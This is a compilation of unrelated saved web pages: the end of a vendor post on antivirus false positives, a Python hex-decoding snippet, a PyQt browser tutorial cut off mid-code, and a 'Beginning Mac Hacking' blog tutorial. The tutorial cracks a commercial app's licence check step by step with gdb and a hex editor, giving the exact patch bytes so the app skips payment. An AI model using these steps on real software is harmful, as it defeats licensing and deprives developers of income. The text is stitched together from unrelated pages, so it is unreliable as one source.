  * The metadata that can be used is not available to the same _components of the security stack_ , or at the same stage of protection. A file has to be fully downloaded on the endpoint before it can be emulated; it has to be executed \(even for a small fraction of the code\) before it can be scanned in-memory. This means the protection will happen later than desired, or, in very conservative setups, the protection in the earlier layers would be false positive \(FP\) prone.
  * Code used by packers is very similar to viruses and self-decrypting malware.

<img src='img/1*NgCjQ5AVnT65vMS2kxillA.gif.jpg' width='60' height='60' />

Layers of a security stack

Malware authors frequently customize their packers or create bespoke ones.
They also rarely sign their malware \(nearly all the signed files that fall
within a detection policy are adware or grayware, not malware\).

#### What to do?

If compression and encryption must be used, it is crucial to use out-of-the-
box packers, not select the “polymorphic” option, if any, and sign the
binaries cryptographically.

### Ambiguous intent

Even when the behavior of the analyzed process is clear, the desired response
from the security solution is not always obvious.

Consider an app that displays the following capabilities:

  * Track the location of the mobile device
  * Remotely lock the device
  * Prevent factory reset unless a passcode is provided

<img src='img/1*zkzSEGHqy6o3Ruhae83yDQ.png' width='60' height='111' />

Screen locked by Android.Fakedefender

From these behavior traits, it is impossible to determine whether this is
ransomware or theft protection software.

How do you distinguish a team of movers loading your neighbor’s furniture onto
a truck, from a team of robbers doing the same? What distinguishes proxy
software, or a cloud backup solution, from spyware? A remote access solution
from a backdoor?

In some cases, the answer is stealth. Is the process visible, is there an easy
way to halt and uninstall the software, is the user interface \(UI\) clear
enough to assert that a customer would know what this software is doing, and
how it came to be on the system? There can also be a legitimate reason for
clean software to be stealthy.

#### What to do?

To prevent false positives in such cases, I would recommend being conservative
in the use of persistence and stealth techniques, working on a clear UI and
EULA, as well as reaching out to proactive whitelisting programs such as
IEEE’s Clean Metadata Exchange.

### Distribution methods

Modern security software relies on an array of clues to determine a path of
action. As mentioned earlier, the contents of a file may not be available to a
given layer of the security stack, or it may not be enough information to
derive intent. When available, the security software will also look at the
origin of the file: the process that created it, the URL from which it was
downloaded, etc.

Sites such as renowned hardware vendors \(hosting their tools and drivers\),
or official app stores with a stringent vetting process, would influence the
decision positively. Peer-to-peer networks and anonymous hosting would not. In
addition, software that is commonly available through public-facing
distribution portals can be easily added to whitelists, or machine-learning
training sets, thus reducing the risk of accidental detection.

One particularly risky distribution method, in terms of detections, is
affiliate programs. When affiliates are remunerated per install, there will be
some who choose to bundle the software with adware, or other software of
dubious nature, to maximize the revenue. In other cases, they have been known
to alter the software slightly to install it silently while bundled with a
small game or popular tool, effectively creating a Trojan. This is the
software equivalent of falling in with a bad crowd.

<img src='img/resize.gif' width='40' height='17' />

Some affiliate programs may bundle legitimate software with malware

When thousands of customers report the software to their security vendor,
because they do not understand how it came to be on their system, nor did they
consent to it, the vendor will have to issue a Potentially Unwanted
Application \(PUA\) detection.

This will also happen to software with a very alarmist behavior, making
exaggerated claims about problems supposedly found on the system, then
offering to fix them for a fee. While they pose no threat to the system, this
behavior decidedly qualifies as a PUA.

These detections are not false positives: they merely signal to the user that
they are installing an app that some people installed unknowingly, and
reported as inconvenient. It is up to the user then to confirm their intention
to install it or not.

#### What to do?

While this is not a false positive, it can affect a company’s reputation and
license sales. I would recommend selecting affiliate programs very carefully,
or choosing a different distribution method, and making the program \(or a
trial version\) available on public facing trusted stores, to improve its
reputation. You can also sign up to a “clean practices” charter and get
certified through companies such as AppEsteem.

### Hacktools

Some software is designed for administrators who know what they are getting
into. For example, tools that can perform identification or fingerprinting of
your computer\(s\), remote administration software, vulnerability scanners,
and tools for transferring data. These tools generally have legitimate use
cases.

Unfortunately, these tools make it easier for an attacker to gain access to a
system, and it is the security stack’s responsibility to ensure that an
administrator is aware of the presence of such tools, and that they have not
been installed by an unauthorized user. If a remote access utility appears on
your home computer without your consent, that makes it a threat. For the same
reason people need gun permits or driving licenses, a hacktool needs an
exclusion rule to be allowed on a system.

<img src='img/1*d1eUvx2ZiCbL1Etl46ULRg.jpeg' width='60' height='40' />

Some software needs a thumbs up from an administrator before it can be allowed
on a system

#### What to do?

These are not false positives, the correct course of action for these
detections is to rely on an administrator to allow them to run via antivirus
exceptions.

### Bugs and corruption

One day, a reliable company created a piece of software that needed full
administrative access. Unfortunately, if the provided uninstaller was called
without any parameters, the default behavior was to halt and delete everything
on the system. A slight oversight that would pose a serious risk to the end
user, which means the security solution had to reject this file, despite the
author’s good intentions.

The same goes for applications or data files that don’t stick to a set format.
For example, exploits often require crafted malformed input to trigger
unexpected behavior in the software that processes this input.That is why most
QA procedures include testing for randomized or unexpected input, to protect
against such attacks.

<img src='' width='24' height='24' />

QA Engineer gets thrown out by antivirus bouncer

Malformed documents and executables can trigger heuristics designed to detect
obfuscated malware and exploits.

#### What to do?

A best effort to write secure code, and react to constructive feedback.

### Conclusion

False positive-proneness in legitimate software can be mitigated by the
following preventative measures:

1\. Digitally sign the binaries.

2\. Avoid polymorphic packers.

3\. Be conservative in requesting Android permissions and using stealth or
persistence techniques.

4\. For commercial software, make your software available publicly on
trustworthy sites, such as official app stores. Avoid dubious affiliate
programs.

5\. Proactively submit to available whitelisting programs such as IEEE’s Clean
Metadata Exchange, and also to Virus Total.

6\. Monitor multiscanning platforms like Virus Total and Herdprotect, and
react to false positives through dedicated programs.

_Check out the Security Response_ _blog_ _and follow Threat Intel on_
_Twitter_ _to keep up-to-date with the latest happenings in the world of
threat intelligence and cybersecurity._

_Like this story? Recommend it by hitting the heart button so others on Medium
see it, and follow Threat Intel on Medium for more great content._

  

# life is short - you need Python\!: Convert hex to ASCII string in Python

**Created:**| _9/1/2009 5:52:29 PM_  
---|---  
**Updated:**| _9/1/2009 5:52:37 PM_  
**Author:**| __  
**Tags:**| _python_  
  

### Convert hex to ASCII string in Python

Sometimes web pages use hexadecimal values of of ASCII characters. To parse
them we need to convert them to ASCII string first. Today I faced a similar
problem and came up with the following solution:  

[code]

      
    import binascii, re  
      
    def asciirepl(match):  
      # replace the hexadecimal characters with ascii characters  
      s = match.group()    
      return binascii.unhexlify(s)    
      
    def reformat_content(data):  
      p = re.compile(r'\\x(\w{2})')  
      return p.sub(asciirepl, data)  
      
    hex_string = '\x70f=l\x26hl=en\x26geocode=\x26q\x3c'  
    ascii_string = reformat_content(hex_string)  
      
    print ascii_string  
    
[/code]

  
I took help of binascii module \(and of course the re module\). The logic was
simple, I just replaced \x.. \(here .. represents two characters\) with their
corresponding ASCII characters.  
  
You can check my other post to convert ASCII values to ASCII
characters:http://love-python.blogspot.com/2008/04/get-ascii-string-for-
decimal-number-in.html  

# Beginning Mac Hacking - O\! Mr Speaker\!

**Created:**| _1/11/2011 10:21:26 AM_  
---|---  
**Updated:**| _1/11/2011 10:21:49 AM_  
**Author:**| __  
**Tags:**| _crackme Mac-hacking_  
  

‹ Dear Network Diary…

On the importance of marketing ›

  

## Beginning Mac Hacking

Thursday, January 6, 2011

<img src='img/Temp2_1004.gif' /><img src='img/Temp2_1002.gif' /><img
src='img/Temp2_1003.gif' />

It was the late 90s – the internet was new, every rock band had a token DJ,
and I was taking up space in either the university bar or the pentium-1 filled
computer labs where I was learning to be social and anti-social respectively.
During the anti-social times I would read inspiring tutorials and essays
regularly released by a hacker named Fravia.

He was a very mystical fellow, and spoke about reverse engineering with a
sense of grand importance and just a pinch of spiritually – all very enticing
to a nerdy youngster like myself. His site eventually moved away from cracking
and into “search lore” – avoiding the evilness of google \(way before it was
cool to avoid google\), finding stuff using gopher, and many other weird
techniques.

I went searching for his old tutorials \(via duckduckgo, naturally\) and found
that Fravia died in 2009. I learned a lot from his work – not about software
cracking, but about the hacker spirit and “reality cracking”. So as a kind of
homage I decided to sit back, sip on a Martini-Wodka have a look at reverse
engineering software on my new shiny Mac.  

**tl;dr** : Well, you miss out then.

### The target

The first thing to do was to find something to crack: I’d recently downloaded
a small desktop utility \(I’m not going to say which one… but I’ll refer to it
as “Spannr” for the purpose of the article\) that pops up a “BUY ME NOW\!”
screen when it loads, and also at random intervals during use. “By applying
some ol’ Fravia lessons”, I reasoned “I should be able to get rid of those
pesky messages without doing the bit where I give my credit card details.”

**Now, before we continue:** If your immediate thoughts are either “Oh W00t\!
I can scam some free shit\!” or “Hey, that’s not very fair on the hard-working
devs that rely on that income to feed their orphaned children” then it’s
probably best that you know something now: you don’t got what it takes to be a
hacker. It’s not in you.  
  
Don’t worry about it – that’s not a bad thing to be sure… having the “hacker
spirit” means spending waaay too much of your time on things that normal
people look at and say “but why?”. It’s best you head back to reading the
startup stories on Hacker News.

### The steps

Now that I’ve clarified that the “having the hacker spirit” means being
condescending to normal people, we can move on to hacking on a mac. We should
also be aware that playing with a binary file without the source code falls in
to the “difficult” category of programming.

If you’d like a non-vehicle based analogy: cracking is like taking a several
hundred-thousand piece jigsaw puzzle and being asked to swap out a tiny
section of the final picture for a new design, with the constraint: you’re not
allowed to put any parts back together yourself – you just have to find the
correct few pieces, paint them a new colour, and put them back in the box.
Sounds fun\! Let’s get on with it…

I’ve already said I’m not telling you the name of the application – this isn’t
an article about releasing warez, it’s about figuring out how stuff works – so
what follows is more of a story than a tutorial. It’s going to be up to you to
test this stuff out, and see what you can break, or fix. Thankfully, the ideas
and techniques will work on a huge percentage of programs out there.

  1. Research the target
  2. Disassemble the application to machine code
  3. Set interesting looking breakpoints in a debugger
  4. Find the easiest place to hack it
  5. Implement our crack in machine code
  6. Make our hack permanent

### The tools

We’ll need a few things before we begin. Mostly just standard \(or fairly
standard\) Unix utilities:

  * `file` – tells you the file type of a given file.
  * `nm`\* – displays the name list \(symbol table\) of an object.
  * `otool`\* – disassembler – displays specified parts of object files or libraries.
  * `gdb`\* – The GNU Debugger – for “watching” a program as it executes.
  * `otx` – front-end to otool that gives some extra info.
  * `class-dump` – dump a binary’s class structure – including method signatures.
  * `HexFiend` – a hex editor for patching the binary.

\(items with a \* are mandatory. The rest just make things easier\!\)  
Pretty nifty – everything important is already on our system\! With the tools
in place it was time to find out a bit more about our binary friend…

### Divining information

Fravia always stressed the importance of never “hacking blindly” and learning
to “feel” the code. He also advocated drinking good alcohol while hacking – a
lesson I’ve held in my heart to this day. So to get a bit of a sense of what
we’re dealing with use the `file` utility to find out what our target,
“Spannr”, is hiding.

[code]

    cd /Applications/Spannr.app/Contents/MacOS/Spannr
    file Spannr
    Spannr: Mach-O universal binary with 2 architectures
    Spannr (for architecture i386): Mach-O executable i386
    Spannr (for architecture ppc7400):      Mach-O executable ppc
    
    
[/code]

Ok, we have a couple of architectures buried in there. We’ll run with the
i386, if we need to choose I guess. Instructions are going to look different
if you are using a 32 bit or a 64 bit machine – but you can figure it out. The
next tool on our list is `nm`. According to its man page, `nm` is a tool that
will “display the name list \(symbol table\) of each object file in the
argument list”. What does that mean?\! Let’s just run it against our target
and find out hey?

[code]

    nm -arch i386 Spannr
    000264ae s  stub helpers
    00004b68 t +[AppController initialize]
    00014cf4 t +[NSScreen(Extensions) screenContainingFrame:]
    00014b87 t +[NSScreen(Extensions) screenContainingMouseCursor]
    000188a3 t +[XMLicensingWindowController nibName]
    00019043 t +[XMLicensingWindowController sharedLicensingWindowController]
    00002f89 t -[AppController showLicensingWindow:]
    00003e5a t -[AppController showLicensingWindowOnMainThread]
    00004209 t -[AppController showOverlay]
    00002c3a t -[AppController showUniversalAccessDialog]
    0000481f t -[AppController toggleOverlay:]
    000048a4 t -[AppController toggleOverlayViaHotkey]
    0001888a t -[AppController(Licensing) sharedLicensingWindowController]
    0001873c t -[AppController(Licensing) showLicensingWindow:withTimeoutDuration:]
    0001822a t -[AppController(Licensing) verifyLicense]
    ....
    
    
[/code]

Whoa boy, looks like hacking got lots easier since the 90s\! We get a list of
_every_ method and property in the executable – including seductive names like
`verfiyLicense`, `isLicenced`, and `setIsLicensed`. Well, there goes the
“divining” part of this exercise – might as well get on with the hacking. I’m
assuming that not every binary is going to be loaded with symbols, so we’ll
just call this beginners’ luck: though I tried a half-dozen other apps and
they all looked the pretty much the same.

Now is a great time for you to check out a couple out of binaries for
yourself. Try a bunch of different apps: big ones, little ones, native ones,
crappy ones. Pick something interesting, then read on…

Handy hint: Don’t forget that you can pipe the output of all of these command
line tools to a text file by adding `> filename.txt`. For example: `nm Spanner
> woot.txt`. You can also open it straight up in Textmate \(if you use it\)
with `| mate`.

### Hunting for treasure

Names can be deceiving, so next we’ll disassemble the target and have a squiz
at some machine code. The `otool` utility will turn our bucket of bytes \(the
application\) into assembly language mnemonics – so instead of seeing the
bytes `01b8` we will see the nemonic `mov 1, %eax` \(which means, move the
number 1 into the register called “eax”\). Not as nice to read as
CoffeeScript, but prettier than binary.

[code]

    otool -tvV Spannr
    
    Spannr:
    (__TEXT,__text) section
    start:
    00002af0        pushl   $0x00
    00002af2        movl    %esp,%ebp
    00002af4        andl    $0xf0,%esp
    00002af7        subl    $0x10,%esp
    00002afa        movl    0x04(%ebp),%ebx
    00002afd        movl    %ebx,0x00(%esp)
    00002b01        leal    0x08(%ebp),%ecx
    00002b04        movl    %ecx,0x04(%esp)
    00002b08        addl    $0x01,%ebx
    ...
    
    
[/code]

To make things a little easier on the eye, try using the `otx` tool – it uses
`otool` under the hood, but does some “demunging” of names and makes the code
more readable. Even so… this ain’t your Atari’s machine code. Your best bet is
to just dive in and start looking around.

**Dodgy machine code primer:** The first number you see on each line \(e.g.
`00002af0`\) is the location in the file of the command – kind of like a line
number. Following that, each line of code is made up instructions \(`pushl,
movl, addl`\) values \(`$0x00, $xf0`\) and registers \(`%esp, %eax, %ebx`\).  
  
Values are can be pointers to memory locations, or simple integer numbers.
Registers are like variables: but there are only a few of them – so you’ll see
a lot of pushing and popping and moving the values of the registers around.  
  
Finally, instructions are the low level commands that all programs are made
from: “move a value to a register”, “do a logic ‘and’ to a register and a
value”, “add two values” and so on. If you write a small program in C, then
disassemble it you’ll start to thank your lucky stars we don’t have to do all
our programming in assembler.

### First idea: everybody jump\!

So we have a few method names that are interesting to us. I personally like
the sound of this **isLicensed** method – it has a boolean result \(You can
check this if you disassembled with `otx` or if you run the file through
`class-dump`\) so it’s likely that we can apply the age-old  

> when the code says IF BAD REGISTRATION, GOTO HELL change it to IF \_NOT\_
> BAD REGISTRATION, GOTO HELL
cracking technique – usually just patching a machine code `JNE` \(jump if not
equal to\) to a `JEQ` \(jump if equal to\).

Unfortunately, searching for all the occurrences of `isLicensed` \(easiest to
see in the `otx` output\) shows that this method is called in a few different
places – and that means we’d have to patch them all.

Additionally, if we apply this type of crack the program will never set itself
as “registered” – it just gets tricked when it goes to kick us out. Better
would be to actually break the name/key system… which I think occurs inside
the method `verifyLicense`.

### Second idea: _real_ cracking

A quick once-over of the `verifyLicense` method doesn’t look good: My
assembler is rusty at best – but this lengthy bit of code is comprised of a
whole bunch of string manipulation, calls to crypo libraries and private keys
and… and it looks pretty hairy – it’s using some kind of third-party crypto
system that figures out if your name/key is valid and is beyond me for now.
But this is _most certainly_ the place to be if you wanted to create a keygen
– you’d just have to figure out what every call did and how it calculates the
correct results. Just.

### Third idea: the lazy way out

In the end I decided to combine the Fravia “code feeling” approach with my own
personal “laziness” approach: rather than target the return point of the
`isLicensed` function, we will just force the function to always return true –
no matter where it is called from. Sure, the program is not reeealy cracked,
but then we only have to patch one place – and as long as the popup message is
gone, who cares?

You’ll have to make these kind of decisions on a target-by-target basis:
setting breakpoints, running the program, and using it as usual – figuring out
where things are called and where might be the best place to patch.

### It’s alive\!

Enough of this dead list reading – it’s finally time to fire up the debugger
and test out our ideas on the running program. A debugger \(like `gdb`\) will
load and run an application, but lets you stop the execution any time and
examine the current state. The host program doesn’t even realise that time has
stopped – so you can poke and prod, changing memory values and machine code
instructions\! When you continue the program running, all your changes are
still in memory. Very cool.

[code]

    gdb Spannr
    
    This GDB was configured as "x86_64-apple-darwin"...
    Reading symbols for shared libraries ..............
    ... done
    (gdb)
    
    
[/code]

What’s going on? Well, our debugger loaded the program up and has now stopped
it at the very first line of machine code. It awaits our command.

The most common thing to do is try and set breakpoints near the interesting
bits of code we identified earlier. If the program stops when you think it
should stop \(for example, it would make sense that `isLicensed` should get
called just before a popup opens\) then you know you are in the right place.
So set a breakpoint on the `isLicensed` method that we found above. You need
to plug in the entire name – not just the method name:

[code]

    (gdb) break [XMLicensingWindowController isLicensed]
    Breakpoint 1 at 0x188bb
    (gdb)
    
[/code]

Excellent… the breakpoint is set at memory location `0x188bb` \(thats
hexadecimal of course: champion of all bases\)\! At least the debugger knows
about this function: I’ve had a couple of programs that don’t seem to be able
to break on symbol names \(but you can always break on the actual address by
doing `break *0x188bb`.

With our initial breakpoint in place, we can run the program \(with the `r`
command\) and see if we hit it. For _Spannr_ the popup box happens as the
program loads so hopefully we’ll get dropped back into `gdb` before we see the
UI appear:

[code]

    (gdb) r
    Starting program: /Applications/Spannr.app/Contents/MacOS/Spannr
    Reading symbols for shared libraries
    .+++..++.+++++++....................
    ....................................
    ....................................
    ...... done
    
    Breakpoint 1, 0x000188bb in -[XMLicensingWindowController isLicensed] ()
    
    
[/code]

Oh bingo\! The program started running, and then someone made a call to
isLicensed – so our debugger stopped everything at memory location
`0x000188bb`. We have frozen time right at the start of the isLicensed
function\! Let’s have a look around.

If the breakpoint you chose doesn’t fire on start up, then the program should
load as normal. It’s up to you to get the breakpoint to trigger – perhaps
you’ll have to open the “registration” menu item, or even just use it for a
while. If you can’t get it to trigger, then it’s back to the drawing board.
You’ll have to try a different breakpoint.

### Inside the living beast

Now that we’ve gone all Matrix-y and stopped time, we can have a look at the
instructions that live at the current memory location by using the `disas`
command. This will “disassemble” the bytes that make up the program into
machine code, as we did above. If you use `disas` on its own, it will
disassemble from the current instruction, but you can also supply a different
address if you want to see what other bits of code look like.

[code]

    (gdb) disas
    
    Dump of assembler code for function -[XML... isLicensed]:
    0x000188b8 <-[XML... isLicensed]+0>:      push   %ebp
    0x000188b9 <-[XML... isLicensed]+1>:      mov    %esp,%ebp
    0x000188bb <-[XML... isLicensed]+3>:      mov    0x8(%ebp),%eax
    0x000188be <-[XML... isLicensed]+6>:      movzbl 0x4c(%eax),%eax
    0x000188c2 <-[XML... isLicensed]+10>:     leave
    0x000188c3 <-[XML... isLicensed]+11>:     ret
    End of assembler dump.
    
    
[/code]

Wow, that is a very, very small function. Just a few instructions long – that
should work in our favour. We can also look at the state of the registers as
we’ve entered the function with `info registers`:

[code]

    (gdb) info registers
    eax            0x188b8  100536
    ecx            0x1      1
    edx            0x0      0
    ebx            0x96c7a128       -1765301976
    eip            0x188bb  0x188bb <-[XML... isLicensed]+3>
    eflags         0x246    582
    ...
    
    
[/code]

There are a dozen or so registers – but we’ll only be concerned with the
register `eax`. The `eax` register is a 32-bit general-purpose register that
commonly stores the return value of a function. That sounds relevant to our
interests.

Also, we can see that the `eip` \(the “instruction pointer”\) register is
pointing to location `0x188bb` and shows us that that location is +3 bytes
into the function. So the first 2 statements \(the `push %ebp` and `mov
%esp,%ebp`\) are just some housekeeping. That means there are actually only 2
real instructions in this function before it exits\!

We can step over those two instructions with the `nexti` \(`ni` for short\)
command. This will cause the program to execute the instruction that `eip`
points to. If we do it twice, then we are effectively at the end of the
function – and can examine the registers again:

[code]

    (gdb) info registers
    eax            0x0      0
    ecx            0x1      1
    edx            0x0      0
    ebx            0x96c7a128       -1765301976
    ...
    
[/code]

Well there’s your problem sonny… your `eax` register has changed from some
crazy value to a 0. And a zero, as we all know, means “false”. Therefore,
`isLicensed = false`. Obviously we need change the `eax` value to a 1.
Somehow. The simple way to do that is to just change the register manually
with `set $eax=1`. First, restart the program by entering `r` – this will get
us back to the breakpoint at the start of the function. Again, step over our 2
instructions with `ni`. Now we can change the `eax` register:

[code]

    (gdb) set $eax=1
    (gdb) info registers
    eax            0x1      1
    ecx            0x1      1
    edx            0x0      0
    
[/code]

Ohh, looks good. Now continue running the program with the `c` command: the
program UI springs to life, and.... no popup screen\! FEEL THE POWER\!

But don't get too excited - if we exit the program, restart it in the
debugger, step over the two instructions again and have a look at the
registers - oh, it's back to 0. Having to manually change the value every time
is a bit more annoying than clicking away a popup - so we have to figure out a
way to make our changes in code.

### Writing some code

This bit is going to be tricky if you don't know any x86 assembler. You don't
need to be an expert - but it helps to know some basics. For this program I
know vaguely what I need to do: I need to get the value 1 into the register
`eax`. This should look something like this: `mov $0x1,%eax`. "Move the value
1 into the register eax".

But how do I get put this command into the code? I have no idea. In the olden
days the debugger I used was called _SoftIce_ and you could just flip into
assembler mode and write the code. But I don't know how or if you can do this
with `gdb`. My only alternative then was to find out what the disassembled
version would look like in bytes: So I scoured the dead listing from `otx` we
did earlier until I found one\! I searched for "1,%eax" and came up with this:

[code]

    00003cdf  b801000000 movl $0x00000001,%eax
    
[/code]

That's him, officer. The first column is the "line number" and the second is
the decompiled bytes we need: `b8 01 00 00 00`.

That's 5 bytes right there that we need to insert into the existing code. But
our function only has two instructions that we can change: `mov
0x8(%ebp),%eax` which is 3 bytes, and `movzbl 0x4c(%eax),%eax` which is 4
\(you can see the byte counts of each instruction in the disassembly\).

Here's where you have to be REALLY careful. If we overwrite an instruction
with another instruction with an incorrect number of bytes then we will start
the program running from in the middle of another instruction's bytes -
causing it \(and every instruction after it\) to become weird, corrupted new
instructions. That will crash almost instantly.

So we have to fill up 7 bytes, but we only need 5 for our command. The answer?
`NOP`\! `NOP` \(byte value 0x90\) means "no operation" and it does absolutely
nothing, but it uses 1 byte to do it\! We just need to jam in an extra 2 NOPs,
and we are good to go\!

So now we need to get our two NOPs \(0x9090\) and our mov instruction
\(0xb801000000\) in the code. To change the instructions we can set bytes in
the same way we changed the register manually. We'll set the bytes
individually:

[code]

    (gdb) set {char}0x188bb=0x90 ; our NOPs
    (gdb) set {char}0x188bc=0x90
    (gdb) set {char}0x188bd=0xb8 ; mov
    (gdb) set {char}0x188be=0x01 ; 4 bytes long "1" value
    (gdb) set {char}0x188bf=0x00
    (gdb) set {char}0x188c0=0x00
    (gdb) set {char}0x188c1=0x00
    
    
[/code]

I think there is a way to write bigger chunks at a time \(rather than just
each character\), but the mov command in 5 bytes long, and I don't know how to
set 5 bytes in one statement \(anyone?\). So I just kept it simple and stuck
to \{char\}s. At any rate, the new commands have now been written:

[code]

    (gdb) disas
    Dump of assembler code for function -[XM... isLicensed]:
    0x000188b8 <-[XML...  isLicensed]+0>:     push   %ebp
    0x000188b9 <-[XML...  isLicensed]+1>:     mov    %esp,%ebp
    0x000188bb <-[XML...  isLicensed]+3>:     nop
    0x000188bc <-[XML...  isLicensed]+4>:     nop
    0x000188bd <-[XML...  isLicensed]+5>:     mov    $0x1,%eax
    0x000188c2 <-[XML...  isLicensed]+10>:    leave
    0x000188c3 <-[XML...  isLicensed]+11>:    ret
    End of assembler dump.
    (gdb)
    
    
[/code]

Seeing this makes me giggle just a lil' bit. We've actually changed the code
of a running program - how cool is that?\! If you removed our breakpoints now
you could test the program and see that the popup now never pops up. The
program is cracked.

I'm not 100% on the right way to do this for your own cracks: not being able
to easily assemble commands seems crazy to me - and I'm sure there is a way to
do it. I guess you could always compile your own asm projects, but that seems
like a lot of work\! \(anyone?\)

### Making it stick

We are close now - our hard work is almost at an end. All that's left to do is
to make our change permanent. This involves replacing the bytes that make up
the old instructions, with the bytes that make up our new instructions. With a
hex editor \(I'm using Hex Fiend\) all we have to do is patch the application
with a search and replace - but for bytes instead of strings.

You have to be careful because the same pattern of bytes can turn up many
times in a file - you have to make sure you patch the right one. To increase
the chance of a unique match we'll search for 16 bytes from where we want to
change \(rather than just for the 7 bytes we changed \).

To see the value of the bytes use the `x/x *address` command. This handy lil'
command has a few different formats: `x/s *address` shows the value of the
address as a string, and `x/i *address` shows the machine code instruction at
the address. You can also specify more bytes to view by adding an integer
before the second x:

[code]

    (gdb) x/8x 0x188bb: located at 100539 bytes
    0x188bb <-[XML... isLicensed]+3>: 0x01b89090 0xc9000000 0xe58955c3 0x8b10558b
    
    
[/code]

Here we can see the 16 bytes located at address `0x188bb` \- the address of
the start of our changes. We only changed 7 bytes so a bunch of the bytes are
unchanged from the original file. Keep a copy of these bytes handy, then
restart the program \(`r`\). Now our changes have been erased and the program
is back to its original state. Dump the bytes at that address again:

[code]

    (gdb) x/8x 0x188bb: located at 100539 bytes
    0x188bb <-[XML... isLicensed]+3>: 0x0f08458b      0xc94c40b6      0xe58955c3      0x8b10558b
    
    
[/code]

That's the clean bytes. So now we have a before & after and we can go hunting
for them in our hex editor. You can quit out of gdb \(`q`\) and fire up Hex
Fiend. In the find dialog, enter the first bunch of our clean bytes:
`0f08458b`, and hit search\!

Uh oh. 0 results. That's not good... what the heck is going on here? On a
hunch I decided to search for the same bytes, but "byte flipped" so that every
block is backwards: `8b45080f`. Found a match\! Oh, of course\! On Mac
systems, you see, there are big indians and little indians and temporal time-
shifts due to resonating, um, no, um. I dunno really: but they're back to
front for some reason \(anyone?\). So instead of search/replacing the bytes we
found above, we flip the values around:

[code]

    clean bytes normal:     0f08458b c94c40b6 e58955c3 8b10558b
    hacked bytes normal:    01b89090 c9000000 e58955c3 8b10558b
    
    clean byte flipped:     8b45080f b6404cc9 c35589e5 8b55108b
    hacked byte flip:       9090b801 000000c9 c35589e5 8b55108b
    
[/code]

Finally comes the time to patch. A time that you can really mess up your
application. If you weren't already working on a copy, make one now\! Put the
clean flipped bytes in the "search" field and ensure that there is just 1
match in the file: if there is more than 1 you'll have to dump more of the
bytes in gdb or just make sure the line number address looks correct \(for us
it's `0x188bb`\).

<img src='img/Temp2_1005.gif' />

If you have 1 match, then that's it - just search and replace with the "hacked
flipped bytes". Open up your program normally and enjoy your pop-free
application.

### Done

I'm all out of fine alcohol and have moved on to the rough stuff, so it must
be time to finish. Not too bad though: just a few hours from first search on
the subject, to successful cracker\! Though as I implied at the beginning,
this isn't something you do to save a few bucks - it's something you do
because it's something you shouldn't do. And that's good fun. Good, gruelingly
difficult, fun.

Thanks for all your help, Fravia.

  *[Thursday, January 6, 2011]: 2011-01-06T09:07:13+0000

# Reading, Writing and Arithmetic: write a web browser by python

**Created:**| _1/9/2010 1:09:28 PM_  
---|---  
**Updated:**| _1/9/2010 1:09:54 PM_  
**Author:**| __  
**Tags:**| _bookmark python web Tutorials programming_  
  

### write a web browser by python

Probably half year ago, I wrote a web browser application by python and the
source code is just few hundred lines. That example is based on python-qt4 and
webkit. If you install related qt4 and python-qt packages, you can see a lot
of cool qt examples. Browser is one of them. Since I cannot run the original
python one, it needs a window IE activeqt component. Therefore, I modified few
lines and then I can run this example in GTA02 and my desktop. I was trying to
run this example in EeePC tonight. It took me about 3 minutes work.  

  
There are two browser examples in qt. One is by cpp and the other one is by
python\!  
  
Install qt4:  

sudo apt-get install qt4-demos

  
Check where is qt4-demos:  

dpkg -L qt4-demos

  
Run a c++ web browser:  

./usr/lib/qt4/demos/browser/browser

  
  
<img src='img/Temp2_6781.png' />  
  
Install python-qt4 related packages:  

sudo apt-get install python-qt4 python-qt4-dev python-qt4-doc

  
Check where is python-qt4-doc  

dpkg -L python-qt4-doc

  
Run a python web browser:  

cd /usr/share/doc/python-qt4-doc/examples  
find -name '\*browser\*  
python activeqt/webbrowser/webbrowser.py

  
ERROR: The Windows commercial version of PyQt is required to run this example.  
  
Download my pyqt-browser:  

wget http://pyqt-browser.googlecode.com/files/webbrowser.tar.gz  
tar zxvf webbrowser.tar.gz  
python webbrowser/webbrowser.py

  
  
<img src='img/Temp2_6780.png' />  
  
here is browser python code: or download it\!  

[code]

      
    #!/usr/bin/env python  
      
    import sys  
    from PyQt4 import QtCore, QtGui, QtWebKit  
    from ui_mainwindow import Ui_MainWindow  
      
    class MainWindow(QtGui.QMainWindow, Ui_MainWindow):  
        # Maintain the list of browser windows so that they do not get garbage  
        # collected.  
        _window_list = []  
      
        def __init__(self):  
            QtGui.QMainWindow.__init__(self)  
      
            MainWindow._window_list.append(self)  
      
            self.setupUi(self)  
              
            self.lblAddress = QtGui.QLabel("", self.tbAddress)  
            self.tbAddress.insertWidget(self.actionGo, self.lblAddress)  
            self.addressEdit = QtGui.QLineEdit(self.tbAddress)  
            self.tbAddress.insertWidget(self.actionGo, self.addressEdit)  
              
            self.addressEdit.setFocusPolicy(QtCore.Qt.StrongFocus)  
              
            self.connect(self.addressEdit, QtCore.SIGNAL("returnPressed()"),  
                         self.actionGo, QtCore.SLOT("trigger()"))  
                           
            self.connect(self.actionBack, QtCore.SIGNAL("triggered()"),  
                         self.WebBrowser, QtCore.SLOT("back()"))  
              
            self.connect(self.actionForward, QtCore.SIGNAL("triggered()"),  
                         self.WebBrowser, QtCore.SLOT("forward()"))  
              
            self.connect(self.actionStop, QtCore.SIGNAL("triggered()"),  
                         self.WebBrowser, QtCore.SLOT("stop()"))  
              
            self.connect(self.actionRefresh, QtCore.SIGNAL("triggered()"),  
                         self.WebBrowser, QtCore.SLOT("reload()"))  
      
            self.pb = QtGui.QProgressBar(self.statusBar())  
            self.pb.setTextVisible(False)  
            self.pb.hide()  
            self.statusBar().addPermanentWidget(self.pb)  
            self.WebBrowser.load(QtCore.QUrl("http://www.google.com"))  
      
              
        @QtCore.pyqtSignature("")  
        def on_actionHome_triggered(self):  
            self.WebBrowser.load(QtCore.QUrl("http://www.google.com"))  
      
        def on_WebBrowser_urlChanged(self, url):  
            self.addressEdit.setText(url.toString())  
              
        def on_WebBrowser_titleChanged(self, title):  
            #print 'titleChanged',title.toUtf8()  
            self.setWindowTitle(title)  
      
        def on_WebBrowser_loadStarted(self):  
            #print 'loadStarted'  
            #self.misc.keyboard_show()  
              
            self.pb.show()  
            self.pb.setRange(0, 100)  
            self.pb.setValue(1)  
      
        def on_WebBrowser_loadFinished(self, flag):  
            #print 'loadFinished'  
            if flag is True:  
                self.pb.hide()  
                self.statusBar().removeWidget(self.pb)  
                  
        def on_WebBrowser_loadProgress(self, status):  
            self.pb.show()  
            self.pb.setRange(0, 100)  
            self.pb.setValue(status)  
      
        @QtCore.pyqtSignature("")  
        def on_actionGo_triggered(self):  
